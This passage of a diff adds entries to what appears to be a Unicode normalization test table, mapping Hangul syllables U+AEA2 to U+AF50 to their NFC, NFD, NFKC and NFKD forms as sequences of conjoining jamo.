+{ source: [0xAEA2], NFC: [0xAEA2], NFD: [0x1101, 0x1164, 0x11A9], NFKC: [0xAEA2], NFKD: [0x1101, 0x1164, 0x11A9] },
+{ source: [0xAEA3], NFC: [0xAEA3], NFD: [0x1101, 0x1164, 0x11AA], NFKC: [0xAEA3], NFKD: [0x1101, 0x1164, 0x11AA] },
+{ source: [0xAEA4], NFC: [0xAEA4], NFD: [0x1101, 0x1164, 0x11AB], NFKC: [0xAEA4], NFKD: [0x1101, 0x1164, 0x11AB] },
+{ source: [0xAEA5], NFC: [0xAEA5], NFD: [0x1101, 0x1164, 0x11AC], NFKC: [0xAEA5], NFKD: [0x1101, 0x1164, 0x11AC] },
+{ source: [0xAEA6], NFC: [0xAEA6], NFD: [0x1101, 0x1164, 0x11AD], NFKC: [0xAEA6], NFKD: [0x1101, 0x1164, 0x11AD] },
+{ source: [0xAEA7], NFC: [0xAEA7], NFD: [0x1101, 0x1164, 0x11AE], NFKC: [0xAEA7], NFKD: [0x1101, 0x1164, 0x11AE] },
+{ source: [0xAEA8], NFC: [0xAEA8], NFD: [0x1101, 0x1164, 0x11AF], NFKC: [0xAEA8], NFKD: [0x1101, 0x1164, 0x11AF] },
+{ source: [0xAEA9], NFC: [0xAEA9], NFD: [0x1101, 0x1164, 0x11B0], NFKC: [0xAEA9], NFKD: [0x1101, 0x1164, 0x11B0] },
+{ source: [0xAEAA], NFC: [0xAEAA], NFD: [0x1101, 0x1164, 0x11B1], NFKC: [0xAEAA], NFKD: [0x1101, 0x1164, 0x11B1] },
+{ source: [0xAEAB], NFC: [0xAEAB], NFD: [0x1101, 0x1164, 0x11B2], NFKC: [0xAEAB], NFKD: [0x1101, 0x1164, 0x11B2] },
+{ source: [0xAEAC], NFC: [0xAEAC], NFD: [0x1101, 0x1164, 0x11B3], NFKC: [0xAEAC], NFKD: [0x1101, 0x1164, 0x11B3] },
+{ source: [0xAEAD], NFC: [0xAEAD], NFD: [0x1101, 0x1164, 0x11B4], NFKC: [0xAEAD], NFKD: [0x1101, 0x1164, 0x11B4] },
+{ source: [0xAEAE], NFC: [0xAEAE], NFD: [0x1101, 0x1164, 0x11B5], NFKC: [0xAEAE], NFKD: [0x1101, 0x1164, 0x11B5] },
+{ source: [0xAEAF], NFC: [0xAEAF], NFD: [0x1101, 0x1164, 0x11B6], NFKC: [0xAEAF], NFKD: [0x1101, 0x1164, 0x11B6] },
+{ source: [0xAEB0], NFC: [0xAEB0], NFD: [0x1101, 0x1164, 0x11B7], NFKC: [0xAEB0], NFKD: [0x1101, 0x1164, 0x11B7] },
+{ source: [0xAEB1], NFC: [0xAEB1], NFD: [0x1101, 0x1164, 0x11B8], NFKC: [0xAEB1], NFKD: [0x1101, 0x1164, 0x11B8] },
+{ source: [0xAEB2], NFC: [0xAEB2], NFD: [0x1101, 0x1164, 0x11B9], NFKC: [0xAEB2], NFKD: [0x1101, 0x1164, 0x11B9] },
+{ source: [0xAEB3], NFC: [0xAEB3], NFD: [0x1101, 0x1164, 0x11BA], NFKC: [0xAEB3], NFKD: [0x1101, 0x1164, 0x11BA] },
+{ source: [0xAEB4], NFC: [0xAEB4], NFD: [0x1101, 0x1164, 0x11BB], NFKC: [0xAEB4], NFKD: [0x1101, 0x1164, 0x11BB] },
+{ source: [0xAEB5], NFC: [0xAEB5], NFD: [0x1101, 0x1164, 0x11BC], NFKC: [0xAEB5], NFKD: [0x1101, 0x1164, 0x11BC] },
+{ source: [0xAEB6], NFC: [0xAEB6], NFD: [0x1101, 0x1164, 0x11BD], NFKC: [0xAEB6], NFKD: [0x1101, 0x1164, 0x11BD] },
+{ source: [0xAEB7], NFC: [0xAEB7], NFD: [0x1101, 0x1164, 0x11BE], NFKC: [0xAEB7], NFKD: [0x1101, 0x1164, 0x11BE] },
+{ source: [0xAEB8], NFC: [0xAEB8], NFD: [0x1101, 0x1164, 0x11BF], NFKC: [0xAEB8], NFKD: [0x1101, 0x1164, 0x11BF] },
+{ source: [0xAEB9], NFC: [0xAEB9], NFD: [0x1101, 0x1164, 0x11C0], NFKC: [0xAEB9], NFKD: [0x1101, 0x1164, 0x11C0] },
+{ source: [0xAEBA], NFC: [0xAEBA], NFD: [0x1101, 0x1164, 0x11C1], NFKC: [0xAEBA], NFKD: [0x1101, 0x1164, 0x11C1] },
+{ source: [0xAEBB], NFC: [0xAEBB], NFD: [0x1101, 0x1164, 0x11C2], NFKC: [0xAEBB], NFKD: [0x1101, 0x1164, 0x11C2] },
+{ source: [0xAEBC], NFC: [0xAEBC], NFD: [0x1101, 0x1165], NFKC: [0xAEBC], NFKD: [0x1101, 0x1165] },
+{ source: [0xAEBD], NFC: [0xAEBD], NFD: [0x1101, 0x1165, 0x11A8], NFKC: [0xAEBD], NFKD: [0x1101, 0x1165, 0x11A8] },
+{ source: [0xAEBE], NFC: [0xAEBE], NFD: [0x1101, 0x1165, 0x11A9], NFKC: [0xAEBE], NFKD: [0x1101, 0x1165, 0x11A9] },
+{ source: [0xAEBF], NFC: [0xAEBF], NFD: [0x1101, 0x1165, 0x11AA], NFKC: [0xAEBF], NFKD: [0x1101, 0x1165, 0x11AA] },
+{ source: [0xAEC0], NFC: [0xAEC0], NFD: [0x1101, 0x1165, 0x11AB], NFKC: [0xAEC0], NFKD: [0x1101, 0x1165, 0x11AB] },
+{ source: [0xAEC1], NFC: [0xAEC1], NFD: [0x1101, 0x1165, 0x11AC], NFKC: [0xAEC1], NFKD: [0x1101, 0x1165, 0x11AC] },
+{ source: [0xAEC2], NFC: [0xAEC2], NFD: [0x1101, 0x1165, 0x11AD], NFKC: [0xAEC2], NFKD: [0x1101, 0x1165, 0x11AD] },
+{ source: [0xAEC3], NFC: [0xAEC3], NFD: [0x1101, 0x1165, 0x11AE], NFKC: [0xAEC3], NFKD: [0x1101, 0x1165, 0x11AE] },
+{ source: [0xAEC4], NFC: [0xAEC4], NFD: [0x1101, 0x1165, 0x11AF], NFKC: [0xAEC4], NFKD: [0x1101, 0x1165, 0x11AF] },
+{ source: [0xAEC5], NFC: [0xAEC5], NFD: [0x1101, 0x1165, 0x11B0], NFKC: [0xAEC5], NFKD: [0x1101, 0x1165, 0x11B0] },
+{ source: [0xAEC6], NFC: [0xAEC6], NFD: [0x1101, 0x1165, 0x11B1], NFKC: [0xAEC6], NFKD: [0x1101, 0x1165, 0x11B1] },
+{ source: [0xAEC7], NFC: [0xAEC7], NFD: [0x1101, 0x1165, 0x11B2], NFKC: [0xAEC7], NFKD: [0x1101, 0x1165, 0x11B2] },
+{ source: [0xAEC8], NFC: [0xAEC8], NFD: [0x1101, 0x1165, 0x11B3], NFKC: [0xAEC8], NFKD: [0x1101, 0x1165, 0x11B3] },
+{ source: [0xAEC9], NFC: [0xAEC9], NFD: [0x1101, 0x1165, 0x11B4], NFKC: [0xAEC9], NFKD: [0x1101, 0x1165, 0x11B4] },
+{ source: [0xAECA], NFC: [0xAECA], NFD: [0x1101, 0x1165, 0x11B5], NFKC: [0xAECA], NFKD: [0x1101, 0x1165, 0x11B5] },
+{ source: [0xAECB], NFC: [0xAECB], NFD: [0x1101, 0x1165, 0x11B6], NFKC: [0xAECB], NFKD: [0x1101, 0x1165, 0x11B6] },
+{ source: [0xAECC], NFC: [0xAECC], NFD: [0x1101, 0x1165, 0x11B7], NFKC: [0xAECC], NFKD: [0x1101, 0x1165, 0x11B7] },
+{ source: [0xAECD], NFC: [0xAECD], NFD: [0x1101, 0x1165, 0x11B8], NFKC: [0xAECD], NFKD: [0x1101, 0x1165, 0x11B8] },
+{ source: [0xAECE], NFC: [0xAECE], NFD: [0x1101, 0x1165, 0x11B9], NFKC: [0xAECE], NFKD: [0x1101, 0x1165, 0x11B9] },
+{ source: [0xAECF], NFC: [0xAECF], NFD: [0x1101, 0x1165, 0x11BA], NFKC: [0xAECF], NFKD: [0x1101, 0x1165, 0x11BA] },
+{ source: [0xAED0], NFC: [0xAED0], NFD: [0x1101, 0x1165, 0x11BB], NFKC: [0xAED0], NFKD: [0x1101, 0x1165, 0x11BB] },
+{ source: [0xAED1], NFC: [0xAED1], NFD: [0x1101, 0x1165, 0x11BC], NFKC: [0xAED1], NFKD: [0x1101, 0x1165, 0x11BC] },
+{ source: [0xAED2], NFC: [0xAED2], NFD: [0x1101, 0x1165, 0x11BD], NFKC: [0xAED2], NFKD: [0x1101, 0x1165, 0x11BD] },
+{ source: [0xAED3], NFC: [0xAED3], NFD: [0x1101, 0x1165, 0x11BE], NFKC: [0xAED3], NFKD: [0x1101, 0x1165, 0x11BE] },
+{ source: [0xAED4], NFC: [0xAED4], NFD: [0x1101, 0x1165, 0x11BF], NFKC: [0xAED4], NFKD: [0x1101, 0x1165, 0x11BF] },
+{ source: [0xAED5], NFC: [0xAED5], NFD: [0x1101, 0x1165, 0x11C0], NFKC: [0xAED5], NFKD: [0x1101, 0x1165, 0x11C0] },
+{ source: [0xAED6], NFC: [0xAED6], NFD: [0x1101, 0x1165, 0x11C1], NFKC: [0xAED6], NFKD: [0x1101, 0x1165, 0x11C1] },
+{ source: [0xAED7], NFC: [0xAED7], NFD: [0x1101, 0x1165, 0x11C2], NFKC: [0xAED7], NFKD: [0x1101, 0x1165, 0x11C2] },
+{ source: [0xAED8], NFC: [0xAED8], NFD: [0x1101, 0x1166], NFKC: [0xAED8], NFKD: [0x1101, 0x1166] },
+{ source: [0xAED9], NFC: [0xAED9], NFD: [0x1101, 0x1166, 0x11A8], NFKC: [0xAED9], NFKD: [0x1101, 0x1166, 0x11A8] },
+{ source: [0xAEDA], NFC: [0xAEDA], NFD: [0x1101, 0x1166, 0x11A9], NFKC: [0xAEDA], NFKD: [0x1101, 0x1166, 0x11A9] },
+{ source: [0xAEDB], NFC: [0xAEDB], NFD: [0x1101, 0x1166, 0x11AA], NFKC: [0xAEDB], NFKD: [0x1101, 0x1166, 0x11AA] },
+{ source: [0xAEDC], NFC: [0xAEDC], NFD: [0x1101, 0x1166, 0x11AB], NFKC: [0xAEDC], NFKD: [0x1101, 0x1166, 0x11AB] },
+{ source: [0xAEDD], NFC: [0xAEDD], NFD: [0x1101, 0x1166, 0x11AC], NFKC: [0xAEDD], NFKD: [0x1101, 0x1166, 0x11AC] },
+{ source: [0xAEDE], NFC: [0xAEDE], NFD: [0x1101, 0x1166, 0x11AD], NFKC: [0xAEDE], NFKD: [0x1101, 0x1166, 0x11AD] },
+{ source: [0xAEDF], NFC: [0xAEDF], NFD: [0x1101, 0x1166, 0x11AE], NFKC: [0xAEDF], NFKD: [0x1101, 0x1166, 0x11AE] },
+{ source: [0xAEE0], NFC: [0xAEE0], NFD: [0x1101, 0x1166, 0x11AF], NFKC: [0xAEE0], NFKD: [0x1101, 0x1166, 0x11AF] },
+{ source: [0xAEE1], NFC: [0xAEE1], NFD: [0x1101, 0x1166, 0x11B0], NFKC: [0xAEE1], NFKD: [0x1101, 0x1166, 0x11B0] },
+{ source: [0xAEE2], NFC: [0xAEE2], NFD: [0x1101, 0x1166, 0x11B1], NFKC: [0xAEE2], NFKD: [0x1101, 0x1166, 0x11B1] },
+{ source: [0xAEE3], NFC: [0xAEE3], NFD: [0x1101, 0x1166, 0x11B2], NFKC: [0xAEE3], NFKD: [0x1101, 0x1166, 0x11B2] },
+{ source: [0xAEE4], NFC: [0xAEE4], NFD: [0x1101, 0x1166, 0x11B3], NFKC: [0xAEE4], NFKD: [0x1101, 0x1166, 0x11B3] },
+{ source: [0xAEE5], NFC: [0xAEE5], NFD: [0x1101, 0x1166, 0x11B4], NFKC: [0xAEE5], NFKD: [0x1101, 0x1166, 0x11B4] },
+{ source: [0xAEE6], NFC: [0xAEE6], NFD: [0x1101, 0x1166, 0x11B5], NFKC: [0xAEE6], NFKD: [0x1101, 0x1166, 0x11B5] },
+{ source: [0xAEE7], NFC: [0xAEE7], NFD: [0x1101, 0x1166, 0x11B6], NFKC: [0xAEE7], NFKD: [0x1101, 0x1166, 0x11B6] },
+{ source: [0xAEE8], NFC: [0xAEE8], NFD: [0x1101, 0x1166, 0x11B7], NFKC: [0xAEE8], NFKD: [0x1101, 0x1166, 0x11B7] },
+{ source: [0xAEE9], NFC: [0xAEE9], NFD: [0x1101, 0x1166, 0x11B8], NFKC: [0xAEE9], NFKD: [0x1101, 0x1166, 0x11B8] },
+{ source: [0xAEEA], NFC: [0xAEEA], NFD: [0x1101, 0x1166, 0x11B9], NFKC: [0xAEEA], NFKD: [0x1101, 0x1166, 0x11B9] },
+{ source: [0xAEEB], NFC: [0xAEEB], NFD: [0x1101, 0x1166, 0x11BA], NFKC: [0xAEEB], NFKD: [0x1101, 0x1166, 0x11BA] },
+{ source: [0xAEEC], NFC: [0xAEEC], NFD: [0x1101, 0x1166, 0x11BB], NFKC: [0xAEEC], NFKD: [0x1101, 0x1166, 0x11BB] },
+{ source: [0xAEED], NFC: [0xAEED], NFD: [0x1101, 0x1166, 0x11BC], NFKC: [0xAEED], NFKD: [0x1101, 0x1166, 0x11BC] },
+{ source: [0xAEEE], NFC: [0xAEEE], NFD: [0x1101, 0x1166, 0x11BD], NFKC: [0xAEEE], NFKD: [0x1101, 0x1166, 0x11BD] },
+{ source: [0xAEEF], NFC: [0xAEEF], NFD: [0x1101, 0x1166, 0x11BE], NFKC: [0xAEEF], NFKD: [0x1101, 0x1166, 0x11BE] },
+{ source: [0xAEF0], NFC: [0xAEF0], NFD: [0x1101, 0x1166, 0x11BF], NFKC: [0xAEF0], NFKD: [0x1101, 0x1166, 0x11BF] },
+{ source: [0xAEF1], NFC: [0xAEF1], NFD: [0x1101, 0x1166, 0x11C0], NFKC: [0xAEF1], NFKD: [0x1101, 0x1166, 0x11C0] },
+{ source: [0xAEF2], NFC: [0xAEF2], NFD: [0x1101, 0x1166, 0x11C1], NFKC: [0xAEF2], NFKD: [0x1101, 0x1166, 0x11C1] },
+{ source: [0xAEF3], NFC: [0xAEF3], NFD: [0x1101, 0x1166, 0x11C2], NFKC: [0xAEF3], NFKD: [0x1101, 0x1166, 0x11C2] },
+{ source: [0xAEF4], NFC: [0xAEF4], NFD: [0x1101, 0x1167], NFKC: [0xAEF4], NFKD: [0x1101, 0x1167] },
+{ source: [0xAEF5], NFC: [0xAEF5], NFD: [0x1101, 0x1167, 0x11A8], NFKC: [0xAEF5], NFKD: [0x1101, 0x1167, 0x11A8] },
+{ source: [0xAEF6], NFC: [0xAEF6], NFD: [0x1101, 0x1167, 0x11A9], NFKC: [0xAEF6], NFKD: [0x1101, 0x1167, 0x11A9] },
+{ source: [0xAEF7], NFC: [0xAEF7], NFD: [0x1101, 0x1167, 0x11AA], NFKC: [0xAEF7], NFKD: [0x1101, 0x1167, 0x11AA] },
+{ source: [0xAEF8], NFC: [0xAEF8], NFD: [0x1101, 0x1167, 0x11AB], NFKC: [0xAEF8], NFKD: [0x1101, 0x1167, 0x11AB] },
+{ source: [0xAEF9], NFC: [0xAEF9], NFD: [0x1101, 0x1167, 0x11AC], NFKC: [0xAEF9], NFKD: [0x1101, 0x1167, 0x11AC] },
+{ source: [0xAEFA], NFC: [0xAEFA], NFD: [0x1101, 0x1167, 0x11AD], NFKC: [0xAEFA], NFKD: [0x1101, 0x1167, 0x11AD] },
+{ source: [0xAEFB], NFC: [0xAEFB], NFD: [0x1101, 0x1167, 0x11AE], NFKC: [0xAEFB], NFKD: [0x1101, 0x1167, 0x11AE] },
+{ source: [0xAEFC], NFC: [0xAEFC], NFD: [0x1101, 0x1167, 0x11AF], NFKC: [0xAEFC], NFKD: [0x1101, 0x1167, 0x11AF] },
+{ source: [0xAEFD], NFC: [0xAEFD], NFD: [0x1101, 0x1167, 0x11B0], NFKC: [0xAEFD], NFKD: [0x1101, 0x1167, 0x11B0] },
+{ source: [0xAEFE], NFC: [0xAEFE], NFD: [0x1101, 0x1167, 0x11B1], NFKC: [0xAEFE], NFKD: [0x1101, 0x1167, 0x11B1] },
+{ source: [0xAEFF], NFC: [0xAEFF], NFD: [0x1101, 0x1167, 0x11B2], NFKC: [0xAEFF], NFKD: [0x1101, 0x1167, 0x11B2] },
+{ source: [0xAF00], NFC: [0xAF00], NFD: [0x1101, 0x1167, 0x11B3], NFKC: [0xAF00], NFKD: [0x1101, 0x1167, 0x11B3] },
+{ source: [0xAF01], NFC: [0xAF01], NFD: [0x1101, 0x1167, 0x11B4], NFKC: [0xAF01], NFKD: [0x1101, 0x1167, 0x11B4] },
+{ source: [0xAF02], NFC: [0xAF02], NFD: [0x1101, 0x1167, 0x11B5], NFKC: [0xAF02], NFKD: [0x1101, 0x1167, 0x11B5] },
+{ source: [0xAF03], NFC: [0xAF03], NFD: [0x1101, 0x1167, 0x11B6], NFKC: [0xAF03], NFKD: [0x1101, 0x1167, 0x11B6] },
+{ source: [0xAF04], NFC: [0xAF04], NFD: [0x1101, 0x1167, 0x11B7], NFKC: [0xAF04], NFKD: [0x1101, 0x1167, 0x11B7] },
+{ source: [0xAF05], NFC: [0xAF05], NFD: [0x1101, 0x1167, 0x11B8], NFKC: [0xAF05], NFKD: [0x1101, 0x1167, 0x11B8] },
+{ source: [0xAF06], NFC: [0xAF06], NFD: [0x1101, 0x1167, 0x11B9], NFKC: [0xAF06], NFKD: [0x1101, 0x1167, 0x11B9] },
+{ source: [0xAF07], NFC: [0xAF07], NFD: [0x1101, 0x1167, 0x11BA], NFKC: [0xAF07], NFKD: [0x1101, 0x1167, 0x11BA] },
+{ source: [0xAF08], NFC: [0xAF08], NFD: [0x1101, 0x1167, 0x11BB], NFKC: [0xAF08], NFKD: [0x1101, 0x1167, 0x11BB] },
+{ source: [0xAF09], NFC: [0xAF09], NFD: [0x1101, 0x1167, 0x11BC], NFKC: [0xAF09], NFKD: [0x1101, 0x1167, 0x11BC] },
+{ source: [0xAF0A], NFC: [0xAF0A], NFD: [0x1101, 0x1167, 0x11BD], NFKC: [0xAF0A], NFKD: [0x1101, 0x1167, 0x11BD] },
+{ source: [0xAF0B], NFC: [0xAF0B], NFD: [0x1101, 0x1167, 0x11BE], NFKC: [0xAF0B], NFKD: [0x1101, 0x1167, 0x11BE] },
+{ source: [0xAF0C], NFC: [0xAF0C], NFD: [0x1101, 0x1167, 0x11BF], NFKC: [0xAF0C], NFKD: [0x1101, 0x1167, 0x11BF] },
+{ source: [0xAF0D], NFC: [0xAF0D], NFD: [0x1101, 0x1167, 0x11C0], NFKC: [0xAF0D], NFKD: [0x1101, 0x1167, 0x11C0] },
+{ source: [0xAF0E], NFC: [0xAF0E], NFD: [0x1101, 0x1167, 0x11C1], NFKC: [0xAF0E], NFKD: [0x1101, 0x1167, 0x11C1] },
+{ source: [0xAF0F], NFC: [0xAF0F], NFD: [0x1101, 0x1167, 0x11C2], NFKC: [0xAF0F], NFKD: [0x1101, 0x1167, 0x11C2] },
+{ source: [0xAF10], NFC: [0xAF10], NFD: [0x1101, 0x1168], NFKC: [0xAF10], NFKD: [0x1101, 0x1168] },
+{ source: [0xAF11], NFC: [0xAF11], NFD: [0x1101, 0x1168, 0x11A8], NFKC: [0xAF11], NFKD: [0x1101, 0x1168, 0x11A8] },
+{ source: [0xAF12], NFC: [0xAF12], NFD: [0x1101, 0x1168, 0x11A9], NFKC: [0xAF12], NFKD: [0x1101, 0x1168, 0x11A9] },
+{ source: [0xAF13], NFC: [0xAF13], NFD: [0x1101, 0x1168, 0x11AA], NFKC: [0xAF13], NFKD: [0x1101, 0x1168, 0x11AA] },
+{ source: [0xAF14], NFC: [0xAF14], NFD: [0x1101, 0x1168, 0x11AB], NFKC: [0xAF14], NFKD: [0x1101, 0x1168, 0x11AB] },
+{ source: [0xAF15], NFC: [0xAF15], NFD: [0x1101, 0x1168, 0x11AC], NFKC: [0xAF15], NFKD: [0x1101, 0x1168, 0x11AC] },
+{ source: [0xAF16], NFC: [0xAF16], NFD: [0x1101, 0x1168, 0x11AD], NFKC: [0xAF16], NFKD: [0x1101, 0x1168, 0x11AD] },
+{ source: [0xAF17], NFC: [0xAF17], NFD: [0x1101, 0x1168, 0x11AE], NFKC: [0xAF17], NFKD: [0x1101, 0x1168, 0x11AE] },
+{ source: [0xAF18], NFC: [0xAF18], NFD: [0x1101, 0x1168, 0x11AF], NFKC: [0xAF18], NFKD: [0x1101, 0x1168, 0x11AF] },
+{ source: [0xAF19], NFC: [0xAF19], NFD: [0x1101, 0x1168, 0x11B0], NFKC: [0xAF19], NFKD: [0x1101, 0x1168, 0x11B0] },
+{ source: [0xAF1A], NFC: [0xAF1A], NFD: [0x1101, 0x1168, 0x11B1], NFKC: [0xAF1A], NFKD: [0x1101, 0x1168, 0x11B1] },
+{ source: [0xAF1B], NFC: [0xAF1B], NFD: [0x1101, 0x1168, 0x11B2], NFKC: [0xAF1B], NFKD: [0x1101, 0x1168, 0x11B2] },
+{ source: [0xAF1C], NFC: [0xAF1C], NFD: [0x1101, 0x1168, 0x11B3], NFKC: [0xAF1C], NFKD: [0x1101, 0x1168, 0x11B3] },
+{ source: [0xAF1D], NFC: [0xAF1D], NFD: [0x1101, 0x1168, 0x11B4], NFKC: [0xAF1D], NFKD: [0x1101, 0x1168, 0x11B4] },
+{ source: [0xAF1E], NFC: [0xAF1E], NFD: [0x1101, 0x1168, 0x11B5], NFKC: [0xAF1E], NFKD: [0x1101, 0x1168, 0x11B5] },
+{ source: [0xAF1F], NFC: [0xAF1F], NFD: [0x1101, 0x1168, 0x11B6], NFKC: [0xAF1F], NFKD: [0x1101, 0x1168, 0x11B6] },
+{ source: [0xAF20], NFC: [0xAF20], NFD: [0x1101, 0x1168, 0x11B7], NFKC: [0xAF20], NFKD: [0x1101, 0x1168, 0x11B7] },
+{ source: [0xAF21], NFC: [0xAF21], NFD: [0x1101, 0x1168, 0x11B8], NFKC: [0xAF21], NFKD: [0x1101, 0x1168, 0x11B8] },
+{ source: [0xAF22], NFC: [0xAF22], NFD: [0x1101, 0x1168, 0x11B9], NFKC: [0xAF22], NFKD: [0x1101, 0x1168, 0x11B9] },
+{ source: [0xAF23], NFC: [0xAF23], NFD: [0x1101, 0x1168, 0x11BA], NFKC: [0xAF23], NFKD: [0x1101, 0x1168, 0x11BA] },
+{ source: [0xAF24], NFC: [0xAF24], NFD: [0x1101, 0x1168, 0x11BB], NFKC: [0xAF24], NFKD: [0x1101, 0x1168, 0x11BB] },
+{ source: [0xAF25], NFC: [0xAF25], NFD: [0x1101, 0x1168, 0x11BC], NFKC: [0xAF25], NFKD: [0x1101, 0x1168, 0x11BC] },
+{ source: [0xAF26], NFC: [0xAF26], NFD: [0x1101, 0x1168, 0x11BD], NFKC: [0xAF26], NFKD: [0x1101, 0x1168, 0x11BD] },
+{ source: [0xAF27], NFC: [0xAF27], NFD: [0x1101, 0x1168, 0x11BE], NFKC: [0xAF27], NFKD: [0x1101, 0x1168, 0x11BE] },
+{ source: [0xAF28], NFC: [0xAF28], NFD: [0x1101, 0x1168, 0x11BF], NFKC: [0xAF28], NFKD: [0x1101, 0x1168, 0x11BF] },
+{ source: [0xAF29], NFC: [0xAF29], NFD: [0x1101, 0x1168, 0x11C0], NFKC: [0xAF29], NFKD: [0x1101, 0x1168, 0x11C0] },
+{ source: [0xAF2A], NFC: [0xAF2A], NFD: [0x1101, 0x1168, 0x11C1], NFKC: [0xAF2A], NFKD: [0x1101, 0x1168, 0x11C1] },
+{ source: [0xAF2B], NFC: [0xAF2B], NFD: [0x1101, 0x1168, 0x11C2], NFKC: [0xAF2B], NFKD: [0x1101, 0x1168, 0x11C2] },
+{ source: [0xAF2C], NFC: [0xAF2C], NFD: [0x1101, 0x1169], NFKC: [0xAF2C], NFKD: [0x1101, 0x1169] },
+{ source: [0xAF2D], NFC: [0xAF2D], NFD: [0x1101, 0x1169, 0x11A8], NFKC: [0xAF2D], NFKD: [0x1101, 0x1169, 0x11A8] },
+{ source: [0xAF2E], NFC: [0xAF2E], NFD: [0x1101, 0x1169, 0x11A9], NFKC: [0xAF2E], NFKD: [0x1101, 0x1169, 0x11A9] },
+{ source: [0xAF2F], NFC: [0xAF2F], NFD: [0x1101, 0x1169, 0x11AA], NFKC: [0xAF2F], NFKD: [0x1101, 0x1169, 0x11AA] },
+{ source: [0xAF30], NFC: [0xAF30], NFD: [0x1101, 0x1169, 0x11AB], NFKC: [0xAF30], NFKD: [0x1101, 0x1169, 0x11AB] },
+{ source: [0xAF31], NFC: [0xAF31], NFD: [0x1101, 0x1169, 0x11AC], NFKC: [0xAF31], NFKD: [0x1101, 0x1169, 0x11AC] },
+{ source: [0xAF32], NFC: [0xAF32], NFD: [0x1101, 0x1169, 0x11AD], NFKC: [0xAF32], NFKD: [0x1101, 0x1169, 0x11AD] },
+{ source: [0xAF33], NFC: [0xAF33], NFD: [0x1101, 0x1169, 0x11AE], NFKC: [0xAF33], NFKD: [0x1101, 0x1169, 0x11AE] },
+{ source: [0xAF34], NFC: [0xAF34], NFD: [0x1101, 0x1169, 0x11AF], NFKC: [0xAF34], NFKD: [0x1101, 0x1169, 0x11AF] },
+{ source: [0xAF35], NFC: [0xAF35], NFD: [0x1101, 0x1169, 0x11B0], NFKC: [0xAF35], NFKD: [0x1101, 0x1169, 0x11B0] },
+{ source: [0xAF36], NFC: [0xAF36], NFD: [0x1101, 0x1169, 0x11B1], NFKC: [0xAF36], NFKD: [0x1101, 0x1169, 0x11B1] },
+{ source: [0xAF37], NFC: [0xAF37], NFD: [0x1101, 0x1169, 0x11B2], NFKC: [0xAF37], NFKD: [0x1101, 0x1169, 0x11B2] },
+{ source: [0xAF38], NFC: [0xAF38], NFD: [0x1101, 0x1169, 0x11B3], NFKC: [0xAF38], NFKD: [0x1101, 0x1169, 0x11B3] },
+{ source: [0xAF39], NFC: [0xAF39], NFD: [0x1101, 0x1169, 0x11B4], NFKC: [0xAF39], NFKD: [0x1101, 0x1169, 0x11B4] },
+{ source: [0xAF3A], NFC: [0xAF3A], NFD: [0x1101, 0x1169, 0x11B5], NFKC: [0xAF3A], NFKD: [0x1101, 0x1169, 0x11B5] },
+{ source: [0xAF3B], NFC: [0xAF3B], NFD: [0x1101, 0x1169, 0x11B6], NFKC: [0xAF3B], NFKD: [0x1101, 0x1169, 0x11B6] },
+{ source: [0xAF3C], NFC: [0xAF3C], NFD: [0x1101, 0x1169, 0x11B7], NFKC: [0xAF3C], NFKD: [0x1101, 0x1169, 0x11B7] },
+{ source: [0xAF3D], NFC: [0xAF3D], NFD: [0x1101, 0x1169, 0x11B8], NFKC: [0xAF3D], NFKD: [0x1101, 0x1169, 0x11B8] },
+{ source: [0xAF3E], NFC: [0xAF3E], NFD: [0x1101, 0x1169, 0x11B9], NFKC: [0xAF3E], NFKD: [0x1101, 0x1169, 0x11B9] },
+{ source: [0xAF3F], NFC: [0xAF3F], NFD: [0x1101, 0x1169, 0x11BA], NFKC: [0xAF3F], NFKD: [0x1101, 0x1169, 0x11BA] },
+{ source: [0xAF40], NFC: [0xAF40], NFD: [0x1101, 0x1169, 0x11BB], NFKC: [0xAF40], NFKD: [0x1101, 0x1169, 0x11BB] },
+{ source: [0xAF41], NFC: [0xAF41], NFD: [0x1101, 0x1169, 0x11BC], NFKC: [0xAF41], NFKD: [0x1101, 0x1169, 0x11BC] },
+{ source: [0xAF42], NFC: [0xAF42], NFD: [0x1101, 0x1169, 0x11BD], NFKC: [0xAF42], NFKD: [0x1101, 0x1169, 0x11BD] },
+{ source: [0xAF43], NFC: [0xAF43], NFD: [0x1101, 0x1169, 0x11BE], NFKC: [0xAF43], NFKD: [0x1101, 0x1169, 0x11BE] },
+{ source: [0xAF44], NFC: [0xAF44], NFD: [0x1101, 0x1169, 0x11BF], NFKC: [0xAF44], NFKD: [0x1101, 0x1169, 0x11BF] },
+{ source: [0xAF45], NFC: [0xAF45], NFD: [0x1101, 0x1169, 0x11C0], NFKC: [0xAF45], NFKD: [0x1101, 0x1169, 0x11C0] },
+{ source: [0xAF46], NFC: [0xAF46], NFD: [0x1101, 0x1169, 0x11C1], NFKC: [0xAF46], NFKD: [0x1101, 0x1169, 0x11C1] },
+{ source: [0xAF47], NFC: [0xAF47], NFD: [0x1101, 0x1169, 0x11C2], NFKC: [0xAF47], NFKD: [0x1101, 0x1169, 0x11C2] },
+{ source: [0xAF48], NFC: [0xAF48], NFD: [0x1101, 0x116A], NFKC: [0xAF48], NFKD: [0x1101, 0x116A] },
+{ source: [0xAF49], NFC: [0xAF49], NFD: [0x1101, 0x116A, 0x11A8], NFKC: [0xAF49], NFKD: [0x1101, 0x116A, 0x11A8] },
+{ source: [0xAF4A], NFC: [0xAF4A], NFD: [0x1101, 0x116A, 0x11A9], NFKC: [0xAF4A], NFKD: [0x1101, 0x116A, 0x11A9] },
+{ source: [0xAF4B], NFC: [0xAF4B], NFD: [0x1101, 0x116A, 0x11AA], NFKC: [0xAF4B], NFKD: [0x1101, 0x116A, 0x11AA] },
+{ source: [0xAF4C], NFC: [0xAF4C], NFD: [0x1101, 0x116A, 0x11AB], NFKC: [0xAF4C], NFKD: [0x1101, 0x116A, 0x11AB] },
+{ source: [0xAF4D], NFC: [0xAF4D], NFD: [0x1101, 0x116A, 0x11AC], NFKC: [0xAF4D], NFKD: [0x1101, 0x116A, 0x11AC] },
+{ source: [0xAF4E], NFC: [0xAF4E], NFD: [0x1101, 0x116A, 0x11AD], NFKC: [0xAF4E], NFKD: [0x1101, 0x116A, 0x11AD] },
+{ source: [0xAF4F], NFC: [0xAF4F], NFD: [0x1101, 0x116A, 0x11AE], NFKC: [0xAF4F], NFKD: [0x1101, 0x116A, 0x11AE] },
+{ source: [0xAF50], NFC: [0xAF50], NFD: [0x1101, 0x116A, 0x11AF], NFKC: [0xAF50], NFKD: [0x1101, 0x116A, 0x11AF] },
